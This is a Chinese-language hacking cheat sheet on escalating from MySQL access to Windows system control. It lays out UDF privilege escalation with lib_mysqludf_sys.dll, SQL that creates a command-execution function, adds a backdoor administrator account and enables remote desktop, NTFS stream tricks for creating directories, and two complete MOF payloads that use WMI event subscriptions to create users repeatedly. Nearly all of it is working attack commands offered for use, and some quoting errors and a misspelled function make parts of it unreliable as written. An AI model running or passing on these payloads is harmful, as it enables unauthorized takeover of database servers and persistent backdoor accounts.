MySQL提权

1、利用sqlmap的UDF提权

　　1.找个可写的目录上传lib_mysqludf_sys.dll，根据mysql的版本导入到windows\system32或者mysql的\lib\plugin目录下

select @@plugin_dir

select load_flie(‘C:\\RECYCLER\\lib_mysqludf_sys.dll‘) into dumpfile ‘C:\\windows\\system32\\lib_mysqludf_sys.dll‘

　　2.创建函数执行命令

create function cmd returns string soname ‘lib_mysqludf_sys.dll‘;
select cmd(‘net user mrxt 123456 /add‘);
select cmd(‘net localgroup administrators mrxt /add‘);
select cmd(‘regedit /s C:\\3389.reg‘);    
drop function cmd;
delete from mysql.func where name=‘cmd‘

　　3.某些情况下遇到Can‘t open shared library的情况，需要把DLL导出到lib\plugin目录下才可以，如果不存在，则可以用NTFS ADS流来创建文件夹的方法

select ‘dll file‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\::$INDEX_ALLOCATION‘;
//创建lib目录

select ‘dll file‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;
//创建plugin目录

2.MOF提权

找个可写目录上传MOF文件，比如C:\RECYCLER\

这个payload利用的是WScript.Shell

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mrxt 123456 /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

这个payload利用的是User.Shell

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"Shell.Users\")\nz=WSH.create(\"NewUser\")\nz.changePassword(\"123456\", \"\")\nz.setting(\"AccountType\")=3";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

然后导出到c:/windows/system32/wbem/mof/目录下

select load_file(‘C:\\wmpub\\nullevt.mof‘) into dumpfile ‘c:\\windows\\system32\\wbem\\mof\\nullevt.mof‘

这个方法会不停的添加用户，执行net stop winmgmt 然后删除文件即可
